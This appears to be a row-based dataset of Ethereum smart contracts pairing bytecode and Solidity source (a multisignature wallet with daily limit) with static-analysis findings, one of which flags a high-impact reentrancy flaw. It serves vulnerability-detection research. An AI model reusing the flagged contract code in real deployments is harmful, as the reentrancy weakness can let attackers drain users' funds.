6001600160a01b0389166000908152600260205260409020556115908161175c565b61159a84836117a6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061160c828261148b565b8210156116275750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116515760405162461bcd60e51b81526004016105f191906119ee565b5060006111ea8486611d39565b600080600080600080600080600061167b8a600c54600d546117ca565b925092509250600061168b611468565b9050600080600061169e8e87878761181f565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170a8385611c7c565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b6000611766611468565b90506000611774838361186f565b3060009081526002602052604090205490915061179190826116fd565b30600090815260026020526040902055505050565b6006546117b390836116bb565b6006556007546117c390826116fd565b6007555050565b60008080806117e460646117de898961186f565b9061148b565b905060006117f760646117de8a8961186f565b9050600061180f826118098b866116bb565b906116bb565b9992985090965090945050505050565b600080808061182e888661186f565b9050600061183c888761186f565b9050600061184a888861186f565b9050600061185c8261180986866116bb565b939b939a50919850919650505050505050565b60008261187e57506000610677565b600061188a8385611d5b565b9050826118978583611d39565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fd5b803561192481611904565b919050565b6000602080838503121561193c57600080fd5b823567ffffffffffffffff8082111561195457600080fd5b818501915085601f83011261196857600080fd5b81358181111561197a5761197a6118ee565b8060051b604051601f19603f8301168101818110858211171561199f5761199f6118ee565b6040529182528482019250838101850191888311156119bd57600080fd5b938501935b828510156119e2576119d385611919565b845293850193928501926119c2565b98975050505050505050565b600060208083528351808285015260005b81811015611a1b578581018301518582016040015282016119ff565b81811115611a2d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5657600080fd5b8235611a6181611904565b946020939093013593505050565b600080600060608486031215611a8457600080fd5b8335611a8f81611904565b92506020840135611a9f81611904565b929592945050506040919091013590565b600060208284031215611ac257600080fd5b81356112aa81611904565b8035801515811461192457600080fd5b600060208284031215611aef57600080fd5b6112aa82611acd565b600060208284031215611b0a57600080fd5b5035919050565b60008060008060808587031215611b2757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5857600080fd5b833567ffffffffffffffff80821115611b7057600080fd5b818601915086601f830112611b8457600080fd5b813581811115611b9357600080fd5b8760208260051b8501011115611ba857600080fd5b602092830195509350611bbe9186019050611acd565b90509250925092565b60008060408385031215611bda57600080fd5b8235611be581611904565b91506020830135611bf581611904565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7557611c75611c4b565b5060010190565b60008219821115611c8f57611c8f611c4b565b500190565b600082821015611ca657611ca6611c4b565b500390565b600060208284031215611cbd57600080fd5b81516112aa81611904565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d185784516001600160a01b031683529383019391830191600101611cf3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7557611d75611c4b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220124d69b4c17d1ac2bbd629e001fdd8333246e3012f87e599d01656a11c5fc52864736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,643 |
0x29f03502fdde4760a15a355a67d2d77de13fe453 | pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3d4e49585b5c53135a58524f5a587d5e52534e58534e444e13535849">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c1b2b5a4a7a0afefa6a4aeb3a6a481a2aeafb2a4afb2b8b2efafa4b5">[email protected]</a>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
} | 0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b